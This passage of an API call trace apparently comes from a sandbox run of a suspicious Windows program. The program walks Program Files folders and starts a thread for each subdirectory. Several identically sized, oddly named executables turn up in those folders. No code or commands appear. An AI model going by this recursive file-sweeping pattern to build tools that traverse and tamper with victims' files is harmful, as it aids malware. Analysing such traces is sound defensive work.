ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0045.677] wcscmp (_String1="jnwdui.dll", _String2=".") returned 1 [0045.677] wcscmp (_String1="jnwdui.dll", _String2="..") returned 1 [0045.677] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0045.677] wcscmp (_String1="jnwmon.dll", _String2=".") returned 1 [0045.677] wcscmp (_String1="jnwmon.dll", _String2="..") returned 1 [0045.677] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0045.678] wcscmp (_String1="jnwppr.dll", _String2=".") returned 1 [0045.678] wcscmp (_String1="jnwppr.dll", _String2="..") returned 1 [0045.678] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0045.678] wcscmp (_String1="Journal.exe", _String2=".") returned 1 [0045.678] wcscmp (_String1="Journal.exe", _String2="..") returned 1 [0045.678] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0045.678] wcscmp (_String1="MSPVWCTL.DLL", _String2=".") returned 1 [0045.678] wcscmp (_String1="MSPVWCTL.DLL", _String2="..") returned 1 [0045.678] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0045.678] wcscmp (_String1="NBDoc.DLL", _String2=".") returned 1 [0045.678] wcscmp (_String1="NBDoc.DLL", _String2="..") returned 1 [0045.678] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0045.678] wcscmp (_String1="NBMapTIP.dll", _String2=".") returned 1 [0045.678] wcscmp (_String1="NBMapTIP.dll", _String2="..") returned 1 [0045.678] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0045.678] wcscmp (_String1="PDIALOG.exe", _String2=".") returned 1 [0045.678] wcscmp (_String1="PDIALOG.exe", _String2="..") returned 1 [0045.678] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0045.678] wcscmp (_String1="Templates", _String2=".") returned 1 [0045.678] wcscmp (_String1="Templates", _String2="..") returned 1 [0045.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x41be58 [0045.678] wcscpy (in: _Dest=0x41be58, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0045.678] wcscat (in: _Dest=0x41be58, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0045.678] wcscat (in: _Dest=0x41be58, _Source="Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0045.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41be58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0045.679] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0694ed0, ftCreationTime.dwHighDateTime=0x1d561f4, ftLastAccessTime.dwLowDateTime=0xd0081d60, ftLastAccessTime.dwHighDateTime=0x1d58dfe, ftLastWriteTime.dwLowDateTime=0xd0081d60, ftLastWriteTime.dwHighDateTime=0x1d58dfe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="worthy.exe", cAlternateFileName="")) returned 1 [0045.679] wcscmp (_String1="worthy.exe", _String2=".") returned 1 [0045.679] wcscmp (_String1="worthy.exe", _String2="..") returned 1 [0045.679] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0694ed0, ftCreationTime.dwHighDateTime=0x1d561f4, ftLastAccessTime.dwLowDateTime=0xd0081d60, ftLastAccessTime.dwHighDateTime=0x1d58dfe, ftLastWriteTime.dwLowDateTime=0xd0081d60, ftLastWriteTime.dwHighDateTime=0x1d58dfe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="worthy.exe", cAlternateFileName="")) returned 0 [0045.679] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.679] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.679] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 [0045.679] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b40) returned 1 Thread: id = 77 os_tid = 0xb34 [0045.681] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402408 [0045.681] wcscpy (in: _Dest=0x402408, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0045.681] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\" [0045.681] wcscat (in: _Dest=0x402408, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\*") returned="C:\\Program Files\\Windows Mail\\*" [0045.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.682] wcscmp (_String1=".", _String2=".") returned 0 [0045.682] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.682] wcscmp (_String1="..", _String2=".") returned 1 [0045.682] wcscmp (_String1="..", _String2="..") returned 0 [0045.682] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0045.682] wcscmp (_String1="en-US", _String2=".") returned 1 [0045.682] wcscmp (_String1="en-US", _String2="..") returned 1 [0045.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444b40 [0045.682] wcscpy (in: _Dest=0x444b40, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0045.682] wcscat (in: _Dest=0x444b40, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\" [0045.682] wcscat (in: _Dest=0x444b40, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0045.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9638f4b0, ftCreationTime.dwHighDateTime=0x1d534f3, ftLastAccessTime.dwLowDateTime=0xf279bc40, ftLastAccessTime.dwHighDateTime=0x1d50eed, ftLastWriteTime.dwLowDateTime=0xf279bc40, ftLastWriteTime.dwHighDateTime=0x1d50eed, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="manual_dust.exe", cAlternateFileName="MANUAL~1.EXE")) returned 1 [0045.683] wcscmp (_String1="manual_dust.exe", _String2=".") returned 1 [0045.683] wcscmp (_String1="manual_dust.exe", _String2="..") returned 1 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0045.683] wcscmp (_String1="msoe.dll", _String2=".") returned 1 [0045.683] wcscmp (_String1="msoe.dll", _String2="..") returned 1 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0045.683] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1 [0045.683] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0045.683] wcscmp (_String1="oeimport.dll", _String2=".") returned 1 [0045.683] wcscmp (_String1="oeimport.dll", _String2="..") returned 1 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0045.683] wcscmp (_String1="wab.exe", _String2=".") returned 1 [0045.683] wcscmp (_String1="wab.exe", _String2="..") returned 1 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0045.683] wcscmp (_String1="wabfind.dll", _String2=".") returned 1 [0045.683] wcscmp (_String1="wabfind.dll", _String2="..") returned 1 [0045.683] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0045.683] wcscmp (_String1="wabimp.dll", _String2=".") returned 1 [0045.683] wcscmp (_String1="wabimp.dll", _String2="..") returned 1 [0045.684] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0045.684] wcscmp (_String1="wabmig.exe", _String2=".") returned 1 [0045.684] wcscmp (_String1="wabmig.exe", _String2="..") returned 1 [0045.684] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0045.684] wcscmp (_String1="WinMail.exe", _String2=".") returned 1 [0045.684] wcscmp (_String1="WinMail.exe", _String2="..") returned 1 [0045.684] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0045.684] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 [0045.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402450) returned 1 Thread: id = 78 os_tid = 0xb38 [0045.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402450 [0045.687] wcscpy (in: _Dest=0x402450, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0045.687] wcscat (in: _Dest=0x402450, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\" [0045.687] wcscat (in: _Dest=0x402450, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\*") returned="C:\\Program Files (x86)\\Adobe\\*" [0045.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.687] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.687] wcscmp (_String1=".", _String2=".") returned 0 [0045.687] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.687] wcscmp (_String1="..", _String2=".") returned 1 [0045.687] wcscmp (_String1="..", _String2="..") returned 0 [0045.687] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c7e50, ftCreationTime.dwHighDateTime=0x1d53041, ftLastAccessTime.dwLowDateTime=0x24beaf80, ftLastAccessTime.dwHighDateTime=0x1d593c3, ftLastWriteTime.dwLowDateTime=0x24beaf80, ftLastWriteTime.dwHighDateTime=0x1d593c3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="faster.exe", cAlternateFileName="")) returned 1 [0045.687] wcscmp (_String1="faster.exe", _String2=".") returned 1 [0045.687] wcscmp (_String1="faster.exe", _String2="..") returned 1 [0045.687] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8a9df0, ftCreationTime.dwHighDateTime=0x1d5834e, ftLastAccessTime.dwLowDateTime=0xc6eb42a0, ftLastAccessTime.dwHighDateTime=0x1d56fdd, ftLastWriteTime.dwLowDateTime=0xc6eb42a0, ftLastWriteTime.dwHighDateTime=0x1d56fdd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="married.exe", cAlternateFileName="")) returned 1 [0045.687] wcscmp (_String1="married.exe", _String2=".") returned 1 [0045.687] wcscmp (_String1="married.exe", _String2="..") returned 1 [0045.688] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0045.688] wcscmp (_String1="Reader 10.0", _String2=".") returned 1 [0045.688] wcscmp (_String1="Reader 10.0", _String2="..") returned 1 [0045.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x446420 [0045.688] wcscpy (in: _Dest=0x446420, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0045.688] wcscat (in: _Dest=0x446420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\" [0045.688] wcscat (in: _Dest=0x446420, _Source="Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0045.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0045.689] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 0 [0045.689] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402450) returned 1 [0045.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402498) returned 1 Thread: id = 79 os_tid = 0xb3c [0045.690] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444c30 [0045.690] wcscpy (in: _Dest=0x444c30, _Source="C:\\Program Files (x86)\\cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c" [0045.690] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\") returned="C:\\Program Files (x86)\\cd46de9c\\" [0045.690] wcscat (in: _Dest=0x444c30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\*") returned="C:\\Program Files (x86)\\cd46de9c\\*" [0045.690] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.690] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\cd46de9c\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.690] wcscmp (_String1=".", _String2=".") returned 0 [0045.690] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.690] wcscmp (_String1="..", _String2=".") returned 1 [0045.690] wcscmp (_String1="..", _String2="..") returned 0 [0045.690] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, 